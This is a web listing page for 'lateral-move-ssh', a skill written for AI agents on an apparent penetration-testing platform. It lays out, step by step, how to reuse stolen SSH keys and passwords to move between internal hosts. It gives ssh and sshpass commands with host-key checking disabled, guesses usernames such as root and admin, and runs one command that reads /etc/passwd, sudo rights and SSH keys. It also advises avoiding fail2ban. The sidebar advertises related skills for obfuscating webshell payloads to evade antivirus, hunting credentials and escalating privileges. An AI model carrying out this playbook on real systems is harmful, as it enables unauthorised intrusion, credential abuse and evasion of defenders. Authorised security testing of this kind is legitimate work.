ワンクリックで
lateral-move-ssh
利用已收集的 SSH 私钥或密码凭据,尝试横向移动到内网其他主机。当发现 SSH 私钥、SSH 密码或内网存活主机开放 22 端口时使用。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
利用已收集的 SSH 私钥或密码凭据,尝试横向移动到内网其他主机。当发现 SSH 私钥、SSH 密码或内网存活主机开放 22 端口时使用。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Shell 混淆与免杀——教 AI 理解 WebShell/内存马工作原理,在生成 payload 时自主应用字符串加密、类加载规避、反射规避、控制流混淆、环境探测等混淆策略
当用户希望在平台侧开发、测试、创建或更新 Disguise 时使用。该 skill 用于生成符合平台约束的 encodeBody、decodeBody、headersJson、description 和规范名称,并优先调用 testDisguise 验证 encode/decode 是否可互逆,再创建或更新 Disguise。
当用户希望在平台侧编写、生成、完善、检查、保存、更新或删除指纹规则时使用。该 skill 用于生成符合 FingerprintComponent 约束的 HTTP/TCP 指纹 rule.requests 与 rule.script,并要求通过平台 FingerprintTools 查询已有指纹、读取详情、保存和删除,不直接读写 VFS 指纹文件。
当用户希望基于命中的指纹获取漏洞利用建议时使用。该 skill 读取一组 fingerprintId 对应的 info.vulnerabilities 元数据,按风险等级排序输出可利用方向、对应 CVE、可调用的 exploit skill 与人工跟进项,不直接执行任何利用动作。
在 Linux 目标上系统性地检测权限提升路径,包括 SUID/SGID 文件、sudo 配置、可写的 cron 脚本、内核版本漏洞、NFS 错误配置、PATH 劫持等。当任务涉及 Linux 提权、SUID、sudo 滥用、内核漏洞时使用。
在目标主机的环境变量、进程启动参数、配置文件和常见凭据存放路径中猎取账号密码、Token、密钥等敏感信息。覆盖 JDBC 数据库、Redis、Nacos、Shiro Key、SSH、云凭据等所有场景。当任务涉及凭据搜集、密钥提取、数据库密码、Redis 密码、Nacos 配置、Shiro Key、API Token、云凭据或服务账号时使用。
| name | lateral-move-ssh |
| description | 利用已收集的 SSH 私钥或密码凭据,尝试横向移动到内网其他主机。当发现 SSH 私钥、SSH 密码或内网存活主机开放 22 端口时使用。 |
| enabled | true |
| tags | ["lateral-movement","linux"] |
当已收集到 SSH 凭据(私钥或密码)且内网存在开放 22 端口的主机时,使用本 skill 尝试横向移动建立新立足点。
前置条件:需已完成
hunt-credentials(获取 SSH 凭据)和recon-internal-network(识别 22 端口存活主机)。
| 原则 | 说明 |
|---|---|
| 最小尝试 | 每个目标最多尝试 3 组凭据,避免触发 fail2ban 或告警 |
| 静默优先 | 不使用 SSH 交互模式,使用 -o BatchMode=yes 避免密码交互阻塞 |
| 不修改 | 不修改目标 authorized_keys、不植入持久化,仅验证可达性和执行只读侦察 |
| 不扩散 | 不在新主机上继续自动横向,每跳需用户确认 |
| 日志意识 | SSH 登录会写入目标 auth.log/secure,提醒用户注意痕迹 |
确认机制:
highactive_exploitCommandTools, FileToolsScanTools, CredentialHarvestToolslateralMovement.sshAccess[], lateralMovement.newFootholds[], openQuestionslateralMovement.sshAccess[], lateralMovement.newFootholds[]recon-basic-info (在新立足点), hunt-credentials (在新立足点), escalate-linux-privilege (如果非 root)在任何工具调用前,先输出:
必须先读取侦察摘要,提取:
credentials.sshKeys — SSH 私钥路径和内容credentials.generic — 可能包含 SSH 密码的条目networkProfile.liveHosts — 存活主机列表serviceProfile.openPorts — 开放 22 端口的主机从侦察摘要中提取并组合:
凭据来源:
| 类型 | 来源 | 使用方式 |
|---|---|---|
| SSH 私钥 | ~/.ssh/id_rsa, ~/.ssh/id_ed25519 等 | -i <keyfile> |
| 明文密码 | 环境变量、配置文件、进程参数 | sshpass -p 或记录待手动输入 |
| known_hosts | ~/.ssh/known_hosts | 提取历史连接目标 |
| SSH config | ~/.ssh/config | 提取别名、用户名、端口映射 |
目标排序优先级:
| 优先级 | 条件 | 理由 |
|---|---|---|
| P0 | known_hosts 中存在 + 22 端口开放 | 历史连接过,凭据极可能有效 |
| P1 | SSH config 中配置的主机 | 管理员预设,凭据匹配率高 |
| P2 | 同网段 + 22 端口开放 | 内网同段常共享凭据 |
| P3 | 跨网段 + 22 端口开放 | 可能是跳板机或管理网 |
用户名猜测顺序:
whoami)root、admin、deploy、app、ops在尝试连接前,先做环境检查:
# 确认 ssh 客户端可用
which ssh
# 确认私钥文件权限(权限过宽会被拒绝)
ls -la ~/.ssh/id_*
# 如果私钥权限不对,需修复(需确认)
# chmod 600 <keyfile>
# 检查 known_hosts 中的历史目标
cat ~/.ssh/known_hosts | awk '{print $1}' | sort -u
# 检查 SSH config
cat ~/.ssh/config
如果 ssh 不可用,尝试定位其他路径(/usr/bin/ssh、/usr/local/bin/ssh);如果确实没有 SSH 客户端,skill 无法继续,报告终止。
按优先级逐个尝试,每个目标最多 3 组凭据。
私钥方式:
# BatchMode 避免交互阻塞;StrictHostKeyChecking=no 避免首次连接确认阻塞
ssh -o BatchMode=yes \
-o StrictHostKeyChecking=no \
-o ConnectTimeout=5 \
-i <keyfile> \
<user>@<target> \
"echo SSH_OK && whoami && hostname && id"
密码方式(需要 sshpass):
# 先确认 sshpass 可用
which sshpass
sshpass -p '<password>' ssh \
-o StrictHostKeyChecking=no \
-o ConnectTimeout=5 \
<user>@<target> \
"echo SSH_OK && whoami && hostname && id"
结果判断:
| 输出 | 含义 | 下一步 |
|---|---|---|
SSH_OK + 身份信息 | 登录成功 | 进入第四阶段 |
Permission denied | 凭据无效 | 换下一组凭据或下一个目标 |
Connection refused | 端口未开放或被防火墙拦截 | 跳过该目标 |
Connection timed out | 网络不可达 | 跳过该目标 |
Host key verification failed | 主机密钥变更 | -o StrictHostKeyChecking=no 已处理 |
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED | 中间人风险 | 标注警告,由用户决定是否继续 |
连接成功后,在单次 SSH 命令中执行只读侦察(避免多次连接增加日志条目):
ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 \
-i <keyfile> <user>@<target> \
"echo '=== IDENTITY ===' && whoami && id && hostname && \
echo '=== OS ===' && (cat /etc/os-release 2>/dev/null || uname -a) && \
echo '=== NETWORK ===' && (ip addr 2>/dev/null || ifconfig) && \
echo '=== ROUTES ===' && (ip route 2>/dev/null || netstat -rn) && \
echo '=== LISTENING ===' && (ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null) && \
echo '=== USERS ===' && (cat /etc/passwd | grep -v nologin | grep -v false) && \
echo '=== SUDO ===' && (sudo -l 2>/dev/null || echo 'sudo not available') && \
echo '=== SSH_KEYS ===' && (ls -la ~/.ssh/ 2>/dev/null || echo 'no .ssh dir') && \
echo '=== DOCKER ===' && (docker ps 2>/dev/null || echo 'no docker')"
评估维度:
| 维度 | 高价值信号 |
|---|---|
| 权限 | root 或有 sudo NOPASSWD |
| 新网段 | 发现当前主机不可达的网段 |
| 凭据跳板 | .ssh 目录有更多私钥或 known_hosts |
| 服务 | 运行数据库、配置中心等高价值服务 |
| 容器 | Docker 环境可能逃逸 |
| 优先级 | 工具 | 用途 |
|---|---|---|
| 1 | CommandTools.exec | SSH 连接尝试(设置合理超时,避免阻塞) |
| 2 | FileTools.readTextFile | 读取 known_hosts、SSH config、私钥文件 |
| 3 | CommandTools.exec | 快速环境检查(which ssh、ls .ssh) |
| 4 | ScanTools | 补充确认目标 22 端口状态 |
超时设置:
exec,timeout 建议 15-20 秒(含网络延迟 + 认证)exec| 场景 | 回退策略 |
|---|---|
| ssh 客户端不存在 | 检查 /usr/bin/ssh、/usr/local/bin/ssh;不可用则终止 |
| sshpass 不存在 | 跳过密码方式,仅使用私钥;提示用户密码目标需手动验证 |
| 私钥权限过宽 (0644) | 请求确认后 chmod 600(写操作需确认) |
| 所有凭据均失败 | 检查用户名是否匹配、端口是否非标准(从 SSH config 或 nmap 获取) |
| 目标使用非标端口 | 从扫描结果或 SSH config 获取实际端口,加 -p <port> |
| 连接被 fail2ban 封禁 | 停止对该目标的尝试,等待或换源 IP |
| SSH 版本不兼容 | 添加 -o KexAlgorithms=+diffie-hellman-group1-sha1 等兼容选项 |
## SSH 横向移动摘要
**尝试目标数**:{n}
**成功登录数**:{n}
**新立足点数**:{n}
---
## 凭据-目标匹配矩阵
| 目标 IP | 端口 | 用户名 | 凭据类型 | 凭据来源 | 结果 |
|---------|------|--------|---------|---------|------|
| 10.0.0.12 | 22 | root | 私钥 | ~/.ssh/id_rsa | 成功 |
| 10.0.0.15 | 22 | app | 密码 | env:SSH_PASS | 拒绝 |
## 成功立足点
### {IP} — {hostname}
- **登录用户**:{user}
- **权限级别**:{root / sudo / 普通用户}
- **操作系统**:{os_info}
- **新发现网段**:{new_cidrs or "无"}
- **监听服务**:{key_services}
- **二次横向潜力**:{high / medium / low}
- **理由**:{assessment}
## 失败记录
| 目标 | 失败原因 | 备注 |
|------|---------|------|
| 10.0.0.15 | Permission denied (3/3) | 所有凭据无效 |
## 风险提示
- 登录行为已写入目标主机 /var/log/auth.log(或 /var/log/secure)
- {other_opsec_notes}
## 下一步建议
根据成功的立足点情况给出 2~3 条建议:
- 新立足点发现更多网段 → "建议在新立足点执行 recon-internal-network 探测新网段"
- 新立足点有更多 SSH 私钥 → "建议在新立足点执行 hunt-credentials 继续凭据收集"
- 新立足点为普通用户 → "建议执行 escalate-linux-privilege 尝试提权"
- 新立足点运行数据库 → "建议执行 collect-jdbc-connection-info 收集本地数据库信息"
完成后必须:
manage_recon_summary(action="append") — 记录成功/失败的目标、使用的凭据类型、新立足点关键信息manage_recon_summary(action="append") — 合并机器可读字段结构化 patch 示例:
{
"lateralMovement": {
"sshAccess": [
{
"target": "10.0.0.12",
"port": 22,
"user": "root",
"credentialType": "privateKey",
"credentialSource": "/home/app/.ssh/id_rsa",
"result": "success",
"privilegeLevel": "root",
"hostname": "db-server-01"
},
{
"target": "10.0.0.15",
"port": 22,
"user": "app",
"credentialType": "password",
"credentialSource": "env:SSH_PASS",
"result": "denied",
"attempts": 3
}
],
"newFootholds": [
{
"target": "10.0.0.12",
"hostname": "db-server-01",
"os": "Ubuntu 20.04",
"privilegeLevel": "root",
"newCidrs": ["10.0.1.0/24"],
"keyServices": ["mysql:3306", "redis:6379"],
"lateralPotential": "high",
"reason": "root 权限 + 发现新网段 + 本地数据库服务"
}
]
},
"openQuestions": ["recon-basic-info (on 10.0.0.12)", "hunt-credentials (on 10.0.0.12)"]
}
| 场景 | 行为 |
|---|---|
| 无 SSH 凭据 | 终止,建议先执行 hunt-credentials |
| 无 22 端口目标 | 终止,建议先执行 recon-internal-network |
| 首次连接尝试 | 必须用户确认(高影响操作) |
| 凭据连续失败 3 次 | 停止该目标,标注为凭据不匹配 |
| 成功登录 | 立即执行只读侦察,不要等待 |
| 发现 root 权限 | 标记为高价值,优先报告 |
| 新主机有更多私钥 | 记录但不自动使用,提示用户决定是否继续 |
| 目标出现异常响应 | 停止,可能是蜜罐,标注警告 |
| 连续多目标 Connection refused | 可能有网络策略拦截,停止并报告 |
每次成功登录后,提醒用户以下痕迹已产生:
| 痕迹位置 | 内容 |
|---|---|
目标 /var/log/auth.log 或 /var/log/secure | 登录成功记录(IP、用户名、时间) |
目标 lastlog / wtmp | 登录历史 |
目标 ~/.bash_history | 如果进入交互 shell |
源主机 ~/.ssh/known_hosts | 新增目标主机指纹(已用 StrictHostKeyChecking=no 跳过) |
| 网络层 | SSH 流量特征(加密但可识别协议) |